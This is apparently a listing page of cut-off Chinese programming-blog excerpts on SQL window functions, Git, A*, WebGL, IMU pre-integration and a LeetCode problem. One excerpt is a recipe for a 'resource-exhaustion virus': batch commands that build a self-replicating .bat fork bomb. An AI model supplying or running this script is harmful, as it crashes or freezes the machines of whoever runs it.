变量： 1、预积分量： α 、 θ 、 β 、 b k a 、 b k g \alpha、\theta、\beta、b^a_k、b^g_k α、θ、β、bka​、bkg​ 2、前一次优化后的状态： q k 、 p k 、 v k 、 b k g 、 b k a q_k、p_k、v_k、b^g_k、b^a_k qk​、pk​、vk​、bkg​…

现有一张student 表，表中包含id、uname、age、score 四个字段，如下所示： 该表的数据如下所示： 一、ROW_NUMBER() 1、概念 ROW_NUMBER() 为结果集中的每一行分配一个唯一的连续整数，编号从 1 开始。‌ 该函数按照指…

嘿，伙计们！每天光靠拉拉推推的 Git 操作是要混到什么时候？来点高级货色，让你在同事面前装 X 的时候多一点底气。今天，哥们儿给你带来了 5 个提升效率的 Git 命令，帮你从菜鸟迅速进阶为老鸟！ st…

目录 一、A*算法 二、算法具体步骤 三、算法基本程序流程 四、算法代码实现 五、运行结果 一、A*算法 A*（A-Star）算法是P.E.Hart、N.J.Nilsson和B.Raphael等人在1986年综合Dijkstra算法和BFS算法的优点而提出来的一种非常有效的启发式路径搜索算法…

资源耗尽病毒 制作方法： 1.输出开启cmd重定向到1.txt文件 echo start cmd >1.txt 2.追加内容进入1.txt echo %0 >>1.txt 3.更改后缀名 ren 1.txt 1.bat 这样一个简单的病毒就制作好了 echo start cmd >1.txt echo %0 >>1.txt ren 1.txt 1…

WebGL（Web Graphics Library）是一种基于 JavaScript 的 API，允许在网页上渲染高性能的 2D 和 3D 图形。它利用计算机的 GPU 来实现硬件加速，因此适合创建游戏、数据可视化和交互式应用程序。 WebGL 的基本概念： 上下文…

学生成绩查询系统设计与实现 1. 系统概述 学生成绩查询系统是一个基于PHP和SQL的Web应用程序，旨在为学校提供一个高效的学生成绩管理和查询平台。该系统可以帮助教师录入成绩、学生查询成绩、管理员管理用户和成绩数据，提高教育管理的效率和透明度。 2…

一、力扣链接 LeetCode_1225 二、题目描述 表：Failed ----------------------- | Column Name | Type | ----------------------- | fail_date | date | ----------------------- 该表主键为 fail_date (具有唯一值的列)。 该表包含失败任务的天数.表…